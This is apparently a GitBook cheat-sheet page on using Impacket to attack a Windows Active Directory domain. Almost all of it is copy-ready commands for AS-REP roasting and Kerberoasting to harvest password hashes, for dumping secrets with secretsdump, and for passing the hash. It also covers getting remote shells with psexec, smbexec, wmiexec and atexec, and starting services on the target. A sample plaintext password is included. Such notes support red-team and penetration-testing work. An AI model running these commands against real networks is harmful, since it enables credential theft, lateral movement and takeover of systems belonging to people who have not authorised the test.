# Impacket

Impacket is a collection of Python libraries and tools designed for working with network protocols, commonly used in penetration testing, red teaming, and post-exploitation. It supports a wide range of protocols such as SMB, TCP, UDP, HTTP, LDAP, and more, allowing users to craft, manipulate, and interact with network packets. Impacket includes tools for tasks like remote command execution, credential dumping, and SMB/NTLM operations, making it particularly useful for interacting with Windows networks. Its scriptable and extensible nature, along with its support for low-level protocol manipulation, makes Impacket a powerful tool for security professionals.

#### ASREP Roasting : Unprivileged accounts on the windows domain

```
impacket GetNPUsers.py GHOUL.com/ -dc-ip 192.168.0.10 -no-pass -usersfile /users.txt
```

#### Getting User account hashes with compromised SPN user on the AD

```
impacket GETUSERSPNs.py GHOUL.com/ghoul:"Hang@123" -dc-ip 192.168.0.10
```

This will list the other SPN users on the windows AD and to get their hashes we will dump with the following command :&#x20;

```
impacket GETUSERSPNs.py GHOUL.com/ghoul:"Hang@123" -dc-ip 192.168.0.10 -request
```

#### Impacket psexec

Once we crack the hashes of the priviledged accounts on the AD we will now try to gain the shell of the target machine using :&#x20;

```
impacket-psexec GHOUL.com/ghoul:"Hang@123"@192.168.0.10
```

to dump secrets of other users

```
impacket-secretsdump GHOUL.com/ghoul@"Hang@123"@192.16.0.10
```

after getting the full hash of the active accounts on the AD then we can log into any user accounts via providing hash directly&#x20;

```
impacket-psexec GHOUL.com/ghoul@192.168.0.10 -hashes <hash:hash>
```

It is very important to check wheather the same account also exists on the local workgroup which can be known through :&#x20;

```
impacket-psexec ghoul:"Hang@123"@192.168.0.10
```

***

#### Impacket-smbexec  & Impacket-wmiexec

```
impacket-smbexec GHOUL.com/ghoul:"Hang@123"@192.168.0.10
```

```
impacket-wmiexec GHOUL.com/ghoul:"Hang@123"@192.168.0.10
```

***

#### Impacket-atexec : Directly pass commands on the targeted server

```
impacket-atexec GHOUL.com/ghoul:"Hang@123"@192.168.0.10 whomai
```

***

#### Lookup sid to list potenial users on the targeted domain&#x20;

```
impacket-lookupsid GHOUL.com/ghoul:"Hang@123"@192.168.0.10
```

***

#### Services execution on the targeted domain&#x20;

```
impacket-services GHOUL.com/ghoul:"Hang@123"@192.168.0.10 --help
```

```
impacket-services GHOUL.com/ghoul:"Hang@123"@192.168.0.10 list
```

```
impacket-services GHOUL.com/ghoul:"Hang@123"@192.168.0.10 start <service name>
```

<figure><img src="https://3312899877-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fwq2mVR4al0Q9L9ELuENl%2Fuploads%2FL6pbfmF2CRzATsIfFigQ%2Fimage.png?alt=media&#x26;token=ccd91966-140e-4af8-a9f3-f29d900b9801" alt=""><figcaption></figcaption></figure>

***

#### SMBclient over Impacket&#x20;

```
impacket-smbclient GHOUL.com/ghoul:"Hang@123"@192.168.0.10
```

for cracking hashes we can crack the hases using hashcat ,  The detailed overview of hashcat is given below :&#x20;

{% content-ref url="hashcat" %}
[hashcat](hashcat)
{% endcontent-ref %}

